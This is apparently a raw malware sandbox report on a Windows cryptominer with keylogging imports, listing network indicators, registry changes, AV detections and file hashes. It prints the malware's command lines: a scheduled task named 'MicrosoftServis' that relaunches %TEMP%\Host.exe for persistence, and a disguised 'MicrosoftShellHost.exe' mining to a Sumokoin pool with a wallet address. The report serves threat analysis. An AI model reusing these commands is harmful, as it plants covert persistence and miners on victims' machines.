"http://schemas.microsoft.com/windowsmetadata/services/2007/09/18/dms/DeviceMetadataService/GetDeviceMetadata" Pattern match: "http://www.symauth.com/cps0" Pattern match: "http://www.symauth.com/rpa0" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx%2BJOp7hVgTeaGFJ%2FCQgQUljtT8Hkzl699g%2B8uK8zKt4YecmYCEBuN56dlW1Lzehhu%2FtdSD3U%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: sv.symcd.com" Pattern match: "http://www.symauth.com/cps0*" Heuristic match: "GET /CRL/Omniroot2025.crl HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: cdp1.public-trust.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAt%2BEJA8OEkP%2Bi9nmoehp7k%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Heuristic match: "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ50PIAkMzIo65YJGcmL88cyQ5UACEAG2Yem3HYLmNssdMr3TCFk%3D HTTP/1.1Connection: Keep-AliveAccept: */*User-Agent: Microsoft-CryptoAPI/6.1Host: ocsp.digicert.com" Pattern match: "www.microsoft.com" Heuristic match: "BolS@3%%m.AW" Heuristic match: "iplogger.com" Pattern match: "https://secure.comodo.com/CPS0" Pattern match: "crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl0" Pattern match: "crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt0$" Pattern match: "http://ocsp.comodoca.com0T" Heuristic match: "api.iplogger.com" Heuristic match: "iplogger.org" Heuristic match: "iplogger.ru" Pattern match: "crl.usertrust.com/AddTrustExternalCARoot.crl05" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q" Pattern match: "http://crt.comodoca.com/COMODORSAAddTrustCA.crt0$" Pattern match: "http://ocsp.comodoca.com0" Heuristic match: "xmr-eu.dwarfpool.com" Heuristic match: ".nicehash.com" Heuristic match: ".minergate.com"2d:T47e,GetKeyboardState@USER32.dll at 7898-2889-00000001400701C0 GetKeyboardState@USER32.dll at 7898-2891-00000001400703E8 GetKeyboardState@USER32.dll at 7898-2879-000000014007002C GetKeyboardState@USER32.dll at 7898-2893-000000014006FEBC GetAsyncKeyState@USER32.dll at 7898-2875-000000014006EF9A GetKeyboardState@USER32.dll at 7898-2898-000000014006EF00 GetAsyncKeyState@USER32.dll at 7898-2878-000000014006F2DE GetAsyncKeyState@USER32.dll at 7898-1008-00000001400041A8 GetKeyboardState@USER32.dll at 7898-2894-000000014006F1EC GetAsyncKeyState@USER32.DLL at 00010551-00003060-8095-2072-3F0F41A8 GetKeyboardState@USER32.DLL at 00010551-00003060-8095-3734-3F1601C0 GetKeyboardState@USER32.DLL at 00010551-00003060-8095-3736-3F1603E8 GetKeyboardState@USER32.DLL at 00010551-00003060-8095-3738-3F15FEBC GetKeyboardState@USER32.DLL at 00010551-00003060-8095-3724-3F16002C GetAsyncKeyState@USER32.DLL at 00010551-00003060-8095-3720-3F15EF9A GetKeyboardState@USER32.DLL at 00010551-00003060-8095-3743-3F15EF00 GetKeyboardState@USER32.DLL at 00010551-00003060-8095-3739-3F15F1EC GetAsyncKeyState@USER32.DLL at 00010551-00003060-8095-3723-3F15F2DE2e:T592,"" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Host.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Host.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "Host.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "Host.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "Host.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE")2f:T564,RegCreateKeyExW RegCloseKey CreateProcessWithLogonW RegDeleteKeyW SetSecurityDescriptorDacl OpenProcessToken RegOpenKeyExW GetUserNameW RegEnumKeyExW CreateProcessAsUserW RegDeleteValueW IcmpSendEcho GetDriveTypeW GetFileAttributesW UnhandledExceptionFilter FindResourceExW DeviceIoControl CopyFileW WriteProcessMemory OutputDebugStringW GetModuleFileNameW IsDebuggerPresent LoadLibraryExW CreateThread ExitThread TerminateProcess GetModuleHandleExW CreateToolhelp32Snapshot LoadLibraryW GetVersionExW LoadLibraryA GetFileSize OpenProcess GetStartupInfoW ReadProcessMemory CreateDirectoryW DeleteFileW GetProcAddress GetTempFileNameW GetComputerNameW WriteFile FindNextFileW FindFirstFileW CreateFileW VirtualAllocEx FindResourceW Process32NextW LockResource GetCommandLineW CopyFileExW Process32FirstW GetModuleHandleW GetTempPathW CreateProcessW Sleep VirtualAlloc ShellExecuteW ShellExecuteExW SetKeyboardState FindWindowExW FindWindowW GetWindowThreadProcessId FtpGetFileSize InternetOpenW InternetQueryDataAvailable InternetQueryOptionW InternetConnectW HttpQueryInfoW InternetCrackUrlW InternetCloseHandle HttpSendRequestW InternetOpenUrlW InternetReadFile FtpOpenFileW accept WSAStartup connect closesocket send listen recv socket bind recvfrom sendto GetModuleHandleA GetModuleFileNameA30:Te80,5/66 Antivirus vendors marked spawned process "Host.exe" (PID: 2908) as malicious (classified as "Malpacked3.Gen" with 7% detection rate) 7/68 Antivirus vendors marked spawned process "ShellExperienceHost.exe" (PID: 2464) as malicious (classified as "Malpacked3.Gen" with 10% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 1356) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2184) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2064) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2552) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 476) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2852) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2668) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2536) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2400) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2984) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2800) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2696) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2096) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 1380) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 268) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 1364) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2976) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 1852) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 1680) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 2920) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate) 11/68 Antivirus vendors marked spawned process "MicrosoftShellHost.exe" (PID: 492) as malicious (classified as "HEUR:RiskTool.BitMiner" with 16% detection rate)31:T47c,Found malicious artifacts related to "88.99.66.31": ... URL: https://iplogger.com/1DnbV6 (AV positives: 1/66 scanned on 01/13/2018 19:32:41) URL: https://2no.co/2VdQ25 (AV positives: 1/66 scanned on 01/13/2018 15:30:15) URL: https://iplogger.com/1ixxV6 (AV positives: 1/66 scanned on 01/13/2018 15:23:40) URL: https://iplogger.org/logger/7de23fakN3/ (AV positives: 1/66 scanned on 01/13/2018 14:53:58) URL: http://02ip.ru/1f7t47.jpg (AV positives: 1/66 scanned on 01/13/2018 14:23:46) File SHA256: a65e27925ec31b07422b9ef56e0c6cd0542a78cc1752b22ce6e4a9289beafa0e (AV positives: 19/66 scanned on 01/13/2018 20:16:52) File SHA256: 5c66872a9e952fb319703cc8321d0c62d6b77e0e361c32631a4d8746a9ab41a8 (AV positives: 37/68 scanned on 01/13/2018 15:08:16) File SHA256: 933764466f4fabd35662e59802a1f108ac1e67f2898a8985a6945058e2f78247 (AV positives: 1/68 scanned on 01/13/2018 11:23:48) File SHA256: b3b1e3052f88e13e29ba4a8f6d13bdac04486feeccfebf235d6742071c59d968 (AV positives: 32/68 scanned on 01/13/2018 10:38:01) File SHA256: a83f396c078b69dcbaccbe70f4289dee91143058550dc9721ec1ab07a670145c (AV positives: 33/68 scanned on 01/13/2018 10:12:13)32:T2fbc,Spawned process "" (UID: 00010551-00003060) Spawned process "cmd.exe" with commandline "/c SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\Host.exe /MO 30" (UID: 00013095-00001332) Spawned process "schtasks.exe" with commandline "SchTasks /create /SC MINUTE /TN MicrosoftServis /TR %TEMP%\Host.exe /MO 30" (UID: 00013102-00000388) Spawned process "Host.exe" (UID: 00013107-00002908) Spawned process "ShellExperienceHost.exe" (UID: 00013426-00002464) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00013847-00000660) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00013864-00001356) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00014450-00002224) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00014474-00002184) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00015038-00002636) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00015043-00002064) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00015626-00000788) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00015631-00002552) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00016214-00002036) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00016220-00000476) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00016803-00000812) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00016809-00002852) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00017391-00001860) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00017397-00002668) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00017980-00001392) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00017985-00002536) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00018568-00003036) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00018573-00002400) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00019156-00002436) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00019162-00002984) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00019745-00003056) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00019750-00002800) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00020333-00001360) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00020339-00002696) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00020927-00002468) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00020933-00002096) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00021516-00002428) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00021521-00001380) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00022104-00000860) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00022110-00000268) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00022693-00001412) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00022698-00001364) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00023282-00001384) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00023287-00002976) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00023870-00003064) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00023876-00001852) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00024459-00001704) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00024465-00001680) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00025048-00002268) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00025054-00002920) Spawned process "cmd.exe" with commandline "/c %ALLUSERSPROFILE%\WindowsTask\MicrosoftShellHost.exe -o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.%username% -p x -t 0" (UID: 00025637-00002084) Spawned process "MicrosoftShellHost.exe" with commandline "-o stratum+tcp://pool.sumokoin.hashvault.pro:5555 -u Sumoo3JA7ZQM5rYEMSFZhVMcECe8oXSRj9gnAynRmsn7eXg4o3j1jQt8nCtNVbu6X5Yzm5XqMaAncR31jjGtDiDj2cKaWNyPPxf.FESPz9X -p x -t 0" (UID: 00025642-00000492)33:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAACI//iHd3d3eLu7MAAAAAAAiP/4+Hd3d3e7u7AAAAAAAH//+Ph3d3d3e7uzAAAAAAAIj4iIt3iHd3u7swAAAAAAB4h3d4d3h4h3u7cAAAAAAAf/d4h3d4h4d7u3AAAAAAAH+Iu7t3j/h3e7swAAAAAAB4iLu7uP/4d4u7MAAAAAAAB7iIiLuIiHeLuwAAAAAAAAA4+I+DiHB4i7MAAAAAAAAAOPuPd4iHN4cwAAAAAAAAUDd7iI////h3ARAAAAAAAHd3d4j/iI//h3dwAAAAAAB3d3j///////d3cQAAAAAAd3d493j//4eId3cAAAAAAHd3eHRH//h0d3d3AAAAAAB3d3h0R//3dHd3hwAAAAAAd3d4d3iIh3h4d4cAAAAAAHd4d3iIh3eId3d3AAAAAAF3eId4eHh3h3d3dwAAAAB4d3iHd3d3d4eHh3EAAAAAd3d3h3d3d4iHh4dxAAAAAAF4h3eIiIeIiIiHcAAAAAAAB4iId3iIiIiIiHcAAAAAAAeIiIiHd3eHd3d3cAAAAAADiIiIiI